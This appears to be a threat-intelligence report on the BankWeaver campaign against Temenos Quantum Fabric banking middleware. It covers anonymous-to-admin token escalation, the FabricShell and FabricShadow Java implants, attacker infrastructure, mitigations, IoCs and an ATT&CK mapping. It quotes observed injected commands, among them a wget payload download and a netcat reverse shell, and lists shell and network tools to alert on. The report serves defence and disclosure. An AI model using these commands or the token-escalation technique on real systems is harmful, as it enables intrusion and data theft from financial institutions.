Key Findings

  • We identified a new campaign called BankWeaver that exploited an authentication service that was configured to accept anonymous access and was reachable from the internet.
  • Attackers could generate an anonymous token by accessing a public application and then exchange it for an administrator token on another exposed application.
  • With administrator privileges, they deployed malicious Java components via the platform’s extension mechanism.
    • FabricShell provided arbitrary command execution and database queries.
    • FabricShadow collected host information, staged output locally, and exfiltrated results to command and control servers.
  • The threat actors mixed compromised devices and victim servers to route their traffic and conceal their infrastructure.

Mitigation Recommendations

  • Inventory public routes to identity and management APIs.
  • Detect anonymous application tokens presented to administrative or user-store authentication services.
  • Alert on zip file imports, JAR registration, and other application integration operations.
  • Detect Java or Tomcat parent processes spawning shell, downloader, archive, or network utility children.
  • Review outbound connections from application servers, especially long-lived sessions and nonstandard ports.

While investigating a breach at a financial services institution in early September, we uncovered a campaign targeting Temenos Quantum Fabric deployments in which an authentication service was configured for anonymous rather than private access and exposed to the internet. We confirmed one compromise and identified additional deployments that appeared to share the same configuration and exposure.

Attackers could access a public web application, capture an automatically issued anonymous platform token, present it to the platform’s authentication service, and exchange it for an administrative identity token without possessing valid credentials.

The figure below summarizes the attack chain and how, after this initial compromise, attackers leveraged the platform to upload malicious Java services, which we named FabricShell and FabricShadow. These services were used to execute arbitrary commands on the victims, create reverse shells, and collect and exfiltrate server contents.

During the investigation, we identified six additional banks that appeared to share the same configuration and exposure across Asia, the Middle East, Europe, and the Americas.  We have not confirmed compromise.

We named this campaign BankWeaver because it leverages trusted connections within an extensible digital banking middleware to move between application identity, platform administration, custom Java execution, databases, and the underlying host.

The Target: Temenos Fabric and an Exposed Authentication Service

Temenos Quantum Fabric (formerly Kony Fabric) is a digital banking application development platform and middleware owned by Temenos – a company with over 950 core banking and 600 digital clients in more than 150 countries. Fabric sits between customer-facing web or mobile applications and a bank’s identity systems, databases, payment services, customer records, and other back-end APIs.

Temenos Infinity Spotlight (formerly Kony Fabric Spotlight and Customer360) is a back-office administration application that runs on top of Quantum Fabric to manage user roles, business rules and administrative workflows.

When a user opens Spotlight (usually on /apps/spotlight/), the browser requests a login configuration operation and receives an X-Kony-Authorization JSON Web Token (JWT) for an anonymous user.

In the affected deployment, a Fabric authentication service that issues privileged tokens was configured to accept anonymous app-user access instead of private access. Because the anonymous token met the configured access requirement, the service returned a privileged Fabric token.

The new token obtained by the attackers granted access to administrative functions within the Temenos Fabric platform, including managing running applications and creating new services.

We reported our findings to Temenos, which determined that the behavior resulted from the service being configured for anonymous rather than private access. Temenos released updates and guidance to configure the service as private and advised customers to restrict internet access to Spotlight and Fabric administrative and authentication services.

Payloads: FabricShell and FabricShadow

Temenos Fabric supports standard connectors and custom Java backends uploaded as JAR files. During legitimate operation, the administrator adds code and service metadata to Fabric, connects the operation to an application, and publishes that application into a runtime environment. The platform then loads and exposes the extension as part of its normal service framework.

Continuing the breach investigation, we noticed that after the attackers obtained the administrator token, they exploited Fabric’s integration service mechanism to persist on the victim. They first uploaded a zip file by sending a POST request to /workspace with payload zipimport?isAsync\\=true and the following files:

  • Apps/_Integration/<redacted>/1.0/Endpoints/java.xml
  • Apps/_Integration/<redacted>/1.0/Operations/recon.xml
  • Apps/_Integration/<redacted>/1.0/Operations/dbxdb_CustomQuery.xml

This created a new service that intentionally allowed for OS command injections. This service was used to facilitate shell upload, command and control (C2) communication, and data exfiltration. Additional code allowed for arbitrary database queries and host reconnaissance.

After installing the service, the actors validated its execution using ls and pwd, spawned a reverse shell via netcat, and downloaded shell scripts from free hosting services such as sendit.sh, plainraw.sh and temp.sh.

The commands were injected as {“cmd”:”<command>”} in several parameters of different requests. Examples included {“cmd”:”wget wget http://sendit.sh/<redacted>/shell.sh”} and {“cmd”:”nc -e /bin/sh <redacted> 5006”}.

We observed several commands using the same request structure, including reconnaissance and  exfiltration to a hardcoded C2 server. We also identified hands-on-keyboard activity due to typos and repeated commands using the HTTP service endpoint parameters.

The threat actor then uploaded two JAR files, which we named FabricShell and FabricShadow:

  • FabricShell is a webshell registered as a Fabric service using Kony’s JavaService2 Every request scans for parameters cmd, sql, user, pass and db. If cmd is present, FabricShell executes commands via /bin/sh -c, reads standard output, waits for the process to terminate, and returns both output and an exit code to the caller. If cmd is absent, FabricShell opens a JDBC connection using parameters sql, user, pass, and db, executes the caller’s query and returns up to 50 rows of data.
  • FabricShadow is a reconnaissance tool based on Kony’s DataPreProcessor2 hook, which fires before every data request is processed. FabricShadow fingerprints and exfiltrates contents from the server where the application runs. The tool automatically collects:
    • Hostname and network interface addresses
    • Environment variable names
    • Java version and Java home
    • Service account name and working directory
    • Operating system name and architecture
    • Java process identifier
    • Output from the id command
    • Listings of /tmp and the current working directory

FabricShadow wraps the output in distinctive markers RECON_PREPROCESSOR, RECON_DONE, RECON_ERR, and RECON_FROM_FABRIC, and uses a custom header X-A: k1 in a POST request to the  C2. It also leaves a local copy of the data on /tmp.

Attacker Infrastructure: Leveraging Victims and Compromised Devices

FabricShell and FabricShadow gave us a glimpse of the attacker’s actions beyond the initial victim:

  • FabricShell contained hardcoded PostgreSQL connection details and credentials for another victim, used as fallback in case the user, pass, and db parameters were not given. That could be used not just to read data, but also to write or upload data via commands such as INSERT, UPDATE and CREATE TABLE.
  • FabricShadow contained a hardcoded URL for the same victim’s Red Hat Process Automation Manager (RHPAM) That turned out to be a webshell used to accept data exfiltrated from other victims, essentially a staging server.

We believe that the threat actor used victims as staging points to minimize their own infrastructure. They also leveraged arbitrary commands achieved on victim machines to target initial access on other organizations. The original request for an anonymous JWT token that launched this investigation came from a compromised server.

Although the actor used victim networks for attack requests and exfiltration and stored reverse shell scripts on free shared hosting services, we identified over 30 IP addresses used during the campaign.

These addresses were rotated as campaign source IPs and came from two sources:

  • Most are compromised UK residential devices such as network attached storage (NAS) and home routers with exposed CWMP.
  • A handful are virtual private server (VPS) nodes from providers such as tzulo and Traefik/Docker.

One IP address from a residential proxy was seen downloading an ELF file designed to fingerprint the compromised device, persist via BitTorrent DHT, and coopt the host into a botnet. Using fuzzy hash pivoting, we can identify hundreds of other IP addresses on the same proxy network. However, they may not be directly related to the threat actor behind BankWeaver, since bots can usually be rented for a campaign. We will continue to investigate the relationship between BankWeaver and the botnet and will report once this is clearer.

Mitigation Recommendations: Detection, Containment, and Remediation

Services that issue privileged tokens should never be configured for anonymous access or exposed to the internet. We identified at least six additional deployments that appeared to share this configuration.

The BankWeaver campaign abused this configuration to run malicious code inside a middleware’s trusted service framework. From that position, the malicious code inherited the legitimate application’s process identity, network access, database connectivity, and normal request pathways. What seemed like normal application traffic became attacker-controlled command execution, database access, host reconnaissance, data collection and exfiltration.

Organizations operating affected Temenos digital banking components should confirm Fabric authentication and backend services are configured as private, in line with Temenos guidance, and apply Temenos-provided configuration updates, as well as review their deployments for signs of weakness or intrusion as follows:

Layer Detection or Validation
Edge routing Inventory every public route to identity, management, workspace, import/export, JAR, service, endpoint, and payment APIs
Identity Detect anonymous application tokens presented to administrative or user-store authentication services
Authorization Verify that a public anonymous context cannot receive a higher privilege token without credentials and policy checks
Application change Alert on ZIP imports, JAR registration, class retrieval, integration update, publish/remove, export, and deletion
Process Detect Java/Tomcat parent processes spawning shell, downloader, archive, or network utility children
Network Review outbound connections from application servers, especially long-lived sessions and nonstandard ports
File and content Hunt for ReconJavaService, recon_svc.jar, ReconPreProcessor, /tmp/.recon_out, and distinctive RECON_* markers
Secrets Search logs and compiled packages for credentials, tokens, cookies, and private endpoints; rotate before expanding access to the logs

 

After that, to prevent, contain or remediate intrusions, organizations should:

  1. Close identity and control-plane exposure
    • Remove direct internet access to identity provider, user management, payment, /mfconsole, /workspace, import, export, JAR, service, endpoint, and publication routes unless explicitly required.
    • Enforce access through a dedicated administrative network, strong identity-aware proxy, or equivalent control with multi-factor authentication (MFA), device posture, and role restrictions.
    • Reject anonymous application tokens at services outside their exact intended pre-authentication workflow.
    • Test authorization at the service layer.
  1. Invalidate what attackers could reuse
    • Revoke Kony, OAuth, JWT, JSESSIONID, USESSIONID, and related sessions.
    • Rotate application secrets, database credentials, integration credentials, service-account secrets, OpenID client credentials, and any credentials recorded in logs or compiled artifacts.
    • Treat secrets present in WAF and application logs as compromised, then implement field-level redaction.
  1. Re-establish server and application integrity
    • Preserve disk, memory, logs, JARs, packages, /tmp/.recon_out, shell artifacts, and history before destructive cleanup.
    • Rebuild affected middleware nodes from known-good images rather than trusting file-by-file deletion.
    • Hash and reverse engineer every non-baseline JAR and package, including components adjacent to the confirmed implant.
    • Compare application versions, creation and update identities, publication history, and async task results against a signed inventory.
    • Establish the operating-system account used by the application and determine how root access was obtained.
  1. Constrain and monitor application-server behavior
    • Apply default-deny egress from application tiers, allowing only documented destinations and ports.
    • Alert when Java or Tomcat spawns sh, bash, curl, wget, nc, tar, pigz, or similar tools.
    • Block and investigate nonstandard outbound ports such as 5005, 5006, and 25565 from middleware systems.
    • Monitor for application imports, JAR changes, service publication, exports, endpoint-content retrieval, and deletion as privileged changes.

Indicators of Compromise (IoCs)

The following indicators are included for defensive hunting. They should not be treated as permanent attribution to a particular actor.

Category Indicator
Payload hosting observed sendit.sh, temp.sh, plainraw.com, 37.187.78[.]41
Malicious service and code ReconJavaService, recon.ReconService, ReconPreProcessor, recon_svc.jar
Host artifacts shell.sh, shell<number>.sh
Content markers RECON_PREPROCESSOR, RECON_DONE, RECON_ERR, RECON_FROM_FABRIC, X-A: k1

 

MITRE ATT&CK Mapping

Technique Observations
T1190: Exploit
Public-Facing Application
The threat actor accessed the publicly exposed Spotlight application flow to abuse the authentication boundary between an anonymous application context and the exposed authentication service.
T1078: Valid Accounts The anonymous JWT token was retained and presented to the authentication service, which returned an admin token.
T1505.003: Server Software Component, Web Shell FabricShell was registered as a middleware service. It accepted attacker-controlled commands, captured output and errors, and returned the results through HTTP responses.
T1059.004: Command and Scripting Interpreter, Unix Shell FabricShell passed attacker-controlled command strings to /bin/sh -c. Observed commands included initial tests such as ls and pwd, followed by shell scripts and reverse shell activity.
T1105: Ingress Tool Transfer The actor shell scripts from temporary hosting services including sendit.sh, plainraw.sh, and temp.sh.
T1082: System Information Discovery FabricShadow automatically collected the hostname, operating system name and architecture, Java version, Java home, working directory, service account, and Java process identifier.
T1016: System Network Configuration Discovery FabricShadow enumerated network interface addresses as part of its automated reconnaissance routine.
T1033: System Owner/User Discovery FabricShadow collected the service account name and executed the id command. This exposed the local user and group context available to the malicious component.
T1083: File and Directory Discovery FabricShadow listed /tmp and the current working directory. Interactive operator activity also included commands such as ls and pwd.
T1005: Data from Local System FabricShell facilitated collection of content from the root and home filesystems, along with host and runtime information gathered by FabricShadow.
T1213.006: Data from Information Repositories, Databases FabricShell accepted database connection and SQL parameters, opened a JDBC connection, executed attacker queries, and returned their results. The recovered component also contained hardcoded PostgreSQL connection information.
T1071.001: Application Layer Protocol, Web Protocols FabricShell received commands and returned execution results through a web service. FabricShadow generated outbound HTTP POST requests containing collected host information.
T1041: Exfiltration Over C2 Channel FabricShadow transmitted reconnaissance results through outbound POST requests.
T1571: Non-Standard Port The application server communicates with the C2 via webshell uploaded using FabricShell on nonstandard ports.
T1070.004: Indicator Removal, File Deletion Threat actor performed cleanup activity following payload retrieval, command execution, and collection via FabricShell.
T1090: Proxy Activity was associated with residential infrastructure, hosting providers, dynamic DNS, and systems connected to unrelated victim institutions’ infrastructure.

Stay on top of the latest threats. Sign up for the Vedere Labs Threat Feed and get the full context in our monthly newsletter.